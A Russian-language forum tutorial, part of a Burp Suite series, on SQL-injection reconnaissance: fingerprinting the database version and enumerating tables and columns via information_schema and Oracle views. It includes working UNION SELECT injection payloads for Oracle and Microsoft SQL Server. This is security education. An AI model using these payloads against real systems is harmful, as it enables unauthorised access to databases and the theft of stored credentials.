Что нового

Статья [8.2] Burp Suite. SQL. Исследование базы данных

Vander

Vander

Команда форума
10.11.2019
152
363
Привет, всем!​

В этой статье продолжим работать с SQL – инъекциями, в частности поговорим об исследовании баз данных при проведении тестирования уязвимого ресурса.

Список публикаций цикла:

1.jpg
При использовании SQL-инъекций часто бывает необходимо собрать некоторую информацию о самой базе данных. Это включает в себя тип и версию программного обеспечения базы данных, а также содержимое базы данных с точки зрения того, какие таблицы и столбцы она содержит.

Опрос типа и версии базы данных

Различные базы данных предоставляют разные способы запроса их версии. Вам часто нужно попробовать разные запросы, чтобы найти тот, который работает, позволяя вам определить как тип, так и версию программного обеспечения базы данных.

Запросы для определения версии базы данных для некоторых популярных типов баз данных следующие:

Тип базы данных
Запрос
Microsoft, MySQLSELECT @@version
OracleSELECT * FROM v$version
PostgreSQLSELECT version()
Например, вы можете использовать атаку UNION следующим запросом:


Код:
'UNION SELECT @@ version--
Это может вернуть данные, как показано ниже, подтверждая, что база данных - это Microsoft SQL Server и используемая версия:

Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64) Mar 18 2018 09:11:49 Copyright (c) Microsoft Corporation Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)

Проверим, как это работает на практике, есть база данных предположительно Oracle.
  • В базах данных Oracle каждый оператор SELECT должен указывать таблицу для выбора FROM. Если ваша атака UNION SELECT не запрашивает данные из таблицы, вам все равно нужно будет включить ключевое слово FROM, за которым следует допустимое имя таблицы.
Воспользуемся следующим запросом, для вывода информации о версии ДБ:

Код:
'UNION SELECT BANNER, NULL FROM v$version--
123.png
Искомый результат:

22.png
С базой данных от Microsoft отправляемый запрос выглядит иначе:

Код:
‘UNION SELECT @@version, NULL—
111.png
Ответ сервера:

1235.png
Извлечение содержимого базы данных

Большинство типов баз данных (с заметным исключением Oracle) имеют набор представлений, называемых информационной схемой, которые предоставляют информацию о базе данных.

Вы можете запросить information_schema.tables, чтобы получить список таблиц в базе данных:

Код:
SELECT * FROM information_schema.tables
Результат работы запроса:

TABLE_CATALOG
TABLE_SCHEMA
TABLE_NAME
TABLE_TYPE
MyDatabasedboProductsBASE TABLE
MyDatabasedboUsersBASE TABLE
MyDatabasedboFeedbackBASE TABLE
Эти выходные данные указывают, что есть три таблицы, Products, Users и Feedback.


Затем вы можете запросить information_schema.columns для получения списка столбцов в отдельных таблицах:

Код:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
Результат работы запроса:

TABLE_CATALOG
TABLE_SCHEMA
TABLE_NAME
COLUMN_NAME
DATA_TYPE
MyDatabasedboUsersUserIdint
MyDatabasedboUsersUsernamevarchar
MyDatabasedboUsersPasswordvarchar
Эти данные показывают столбцы в указанной таблице и тип данных каждого столбца.


Эквивалент информационной схемы в Oracle

В Oracle вы можете получить ту же информацию с помощью немного иных запросов.

Извлекаем список таблиц, запросив all_tables:

Код:
SELECT * FROM all_tables
Перечисляем столбцы, запросив all_tab_columns:

Код:
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'
21.png
Результатом будет выдача всех таблиц из базы данных:

1234.png
В следующем выпуске я хочу объяснить работу с BLIND SQL-инъекциями.

Спасибо за внимание, материал подготовлен специально для форума protey.net
 
Последнее редактирование:
Верх